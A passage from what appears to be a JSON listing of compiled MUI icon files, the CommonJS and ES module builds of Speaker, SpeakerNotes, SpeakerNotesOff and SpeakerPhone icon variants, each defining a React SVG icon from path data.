    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12h-1.34l1.91 1.91C21.39 17.66 22 16.9 22 16V4c0-1.1-.9-2-2-2H4.66l2 2zM6 12h2v2H6zm12-3h-6.34l2 2H18zm0-3h-8v1.34l.66.66H18zM1.41 1.59 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73 1.41-1.41zM5.17 16 4 17.17V7l2 2v2h2l5 5z\"\n}), 'SpeakerNotesOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.91 2.36c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l1.38 1.38L2 22l4-4h9l5.09 5.09c.35.35.92.35 1.27 0s.35-.92 0-1.27zM7 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13-9H4.08l7 7H17c.55 0 1 .45 1 1s-.45 1-1 1h-3.92l6.99 6.99C21.14 17.95 22 17.08 22 16V4c0-1.1-.9-2-2-2m-3 6h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SpeakerNotesOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.91 2.36c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l1.38 1.38L2 22l4-4h9l5.09 5.09c.35.35.92.35 1.27 0s.35-.92 0-1.27zM7 14c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13-9H4.08l7 7H17c.55 0 1 .45 1 1s-.45 1-1 1h-3.92l6.99 6.99C21.14 17.95 22 17.08 22 16V4c0-1.1-.9-2-2-2m-3 6h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SpeakerNotesOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.27 1.73 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73L22 22.46zM8 14H6v-2h2zm-2-3V9l2 2zm16-9H4.08L10 7.92V6h8v2h-7.92l1 1H18v2h-4.92l6.99 6.99H22z\"\n}), 'SpeakerNotesOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.27 1.73 0 3l2.01 2.01L2 22l4-4h9l5.73 5.73L22 22.46zM8 14H6v-2h2zm-2-3V9l2 2zm16-9H4.08L10 7.92V6h8v2h-7.92l1 1H18v2h-4.92l6.99 6.99H22z\"\n}), 'SpeakerNotesOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11V9L4 7v10.17L5.17 16H13l-5-5zm2 3H6v-2h2zM20 4H6.66L10 7.34V6h8v2h-7.34l1 1H18v2h-4.34l5 5H20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12h-1.34l1.91 1.91C21.39 17.66 22 16.9 22 16V4c0-1.1-.9-2-2-2H4.66l2 2zM6 12h2v2H6zm12-1V9h-6.34l2 2zm0-3V6h-8v1.34l.66.66zM1.41 1.59 0 3l2 2.01V22l4-4h9l5.73 5.73 1.41-1.41zM5.17 16 4 17.17V7l2 2v2h2l5 5z\"\n}, \"1\")], 'SpeakerNotesOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11V9L4 7v10.17L5.17 16H13l-5-5zm2 3H6v-2h2zM20 4H6.66L10 7.34V6h8v2h-7.34l1 1H18v2h-4.34l5 5H20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12h-1.34l1.91 1.91C21.39 17.66 22 16.9 22 16V4c0-1.1-.9-2-2-2H4.66l2 2zM6 12h2v2H6zm12-1V9h-6.34l2 2zm0-3V6h-8v1.34l.66.66zM1.41 1.59 0 3l2 2.01V22l4-4h9l5.73 5.73 1.41-1.41zM5.17 16 4 17.17V7l2 2v2h2l5 5z\"\n}, \"1\")], 'SpeakerNotesOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM6 12h2v2H6zm0-3h2v2H6zm0-3h2v2H6zm4 6h5v2h-5zm0-3h8v2h-8zm0-3h8v2h-8z\"\n}), 'SpeakerNotesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM6 12h2v2H6zm0-3h2v2H6zm0-3h2v2H6zm4 6h5v2h-5zm0-3h8v2h-8zm0-3h8v2h-8z\"\n}), 'SpeakerNotesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm6 6h-3c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m3-3h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-3h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SpeakerNotesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm6 6h-3c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m3-3h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-3h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'SpeakerNotesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm7 6h-5v-2h5zm3-3h-8V9h8zm0-3h-8V6h8z\"\n}), 'SpeakerNotesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM8 14H6v-2h2zm0-3H6V9h2zm0-3H6V6h2zm7 6h-5v-2h5zm3-3h-8V9h8zm0-3h-8V6h8z\"\n}), 'SpeakerNotesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 17.17.59-.59.58-.58H20V4H4zM10 6h8v2h-8zm0 3h8v2h-8zm0 3h5v2h-5zM6 6h2v2H6zm0 3h2v2H6zm0 3h2v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM6 12h2v2H6zm0-3h2v2H6zm0-3h2v2H6zm4 6h5v2h-5zm0-3h8v2h-8zm0-3h8v2h-8z\"\n}, \"1\")], 'SpeakerNotesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerNotesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 17.17.59-.59.58-.58H20V4H4zM10 6h8v2h-8zm0 3h8v2h-8zm0 3h5v2h-5zM6 6h2v2H6zm0 3h2v2H6zm0 3h2v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17l-.59.59-.58.58V4h16zM6 12h2v2H6zm0-3h2v2H6zm0-3h2v2H6zm4 6h5v2h-5zm0-3h8v2h-8zm0-3h8v2h-8z\"\n}, \"1\")], 'SpeakerNotesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 20V4h10v16zm5-11c1.1 0 2-.9 2-2s-.9-2-2-2c-1.11 0-2 .9-2 2s.89 2 2 2m0 2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SpeakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 20V4h10v16zm5-11c1.1 0 2-.9 2-2s-.9-2-2-2c-1.11 0-2 .9-2 2s.89 2 2 2m0 2c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'SpeakerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m2.86 9.01L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}), 'SpeakerPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m2.86 9.01L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}), 'SpeakerPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m2.86 9.01L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}), 'SpeakerPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m2.86 9.01L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}), 'SpeakerPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.76 7.83.02.02c.35.35.89.38 1.3.09.83-.57 1.84-.92 2.92-.92s2.09.35 2.92.93c.4.29.95.26 1.3-.09l.02-.02c.42-.42.39-1.14-.09-1.49C14.98 5.5 13.55 5 12 5s-2.98.5-4.14 1.34c-.49.35-.52 1.07-.1 1.49\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1c-2.62 0-5.03.93-6.92 2.47-.46.37-.51 1.06-.08 1.49.36.36.93.39 1.32.07C7.86 3.76 9.85 3 12 3s4.14.76 5.69 2.03c.39.32.96.29 1.32-.07.42-.42.38-1.11-.08-1.49C17.03 1.93 14.62 1 12 1m3 9H9c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h5.99c.55 0 1-.45 1-1L16 11c0-.55-.45-1-1-1m0 10H9v-8h6z\"\n}, \"1\")], 'SpeakerPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.76 7.83.02.02c.35.35.89.38 1.3.09.83-.57 1.84-.92 2.92-.92s2.09.35 2.92.93c.4.29.95.26 1.3-.09l.02-.02c.42-.42.39-1.14-.09-1.49C14.98 5.5 13.55 5 12 5s-2.98.5-4.14 1.34c-.49.35-.52 1.07-.1 1.49\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1c-2.62 0-5.03.93-6.92 2.47-.46.37-.51 1.06-.08 1.49.36.36.93.39 1.32.07C7.86 3.76 9.85 3 12 3s4.14.76 5.69 2.03c.39.32.96.29 1.32-.07.42-.42.38-1.11-.08-1.49C17.03 1.93 14.62 1 12 1m3 9H9c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h5.99c.55 0 1-.45 1-1L16 11c0-.55-.45-1-1-1m0 10H9v-8h6z\"\n}, \"1\")], 'SpeakerPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m3.99 9.01L8 10v11.99h7.99zM15 20H9v-8h6z\"\n}), 'SpeakerPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1m3.99 9.01L8 10v11.99h7.99zM15 20H9v-8h6z\"\n}), 'SpeakerPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12h6v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07m7.86 2.94L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}, \"1\")], 'SpeakerPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerPhoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12h6v8H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C8.98 1 6.24 2.23 4.25 4.21l1.41 1.41C7.28 4 9.53 3 12 3s4.72 1 6.34 2.62l1.41-1.41C17.76 2.23 15.02 1 12 1M7 7.07 8.43 8.5c.91-.91 2.18-1.48 3.57-1.48s2.66.57 3.57 1.48L17 7.07C15.72 5.79 13.95 5 12 5s-3.72.79-5 2.07m7.86 2.94L9.14 10C8.51 10 8 10.51 8 11.14v9.71c0 .63.51 1.14 1.14 1.14h5.71c.63 0 1.14-.51 1.14-1.14v-9.71c.01-.63-.5-1.13-1.13-1.13M15 20H9v-8h6z\"\n}, \"1\")], 'SpeakerPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'SpeakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 2H7c-1.1 0-2 .9-2 2v16c0 1.1.9 1.99 2 1.99L17 22c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'SpeakerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5v19.99h14zm-7 2c1.1 0 2 .9 2 2s-.9 2-2 2c-1.11 0-2-.9-2-2s.89-2 2-2m0 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'SpeakerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpeakerSharp.mjs",
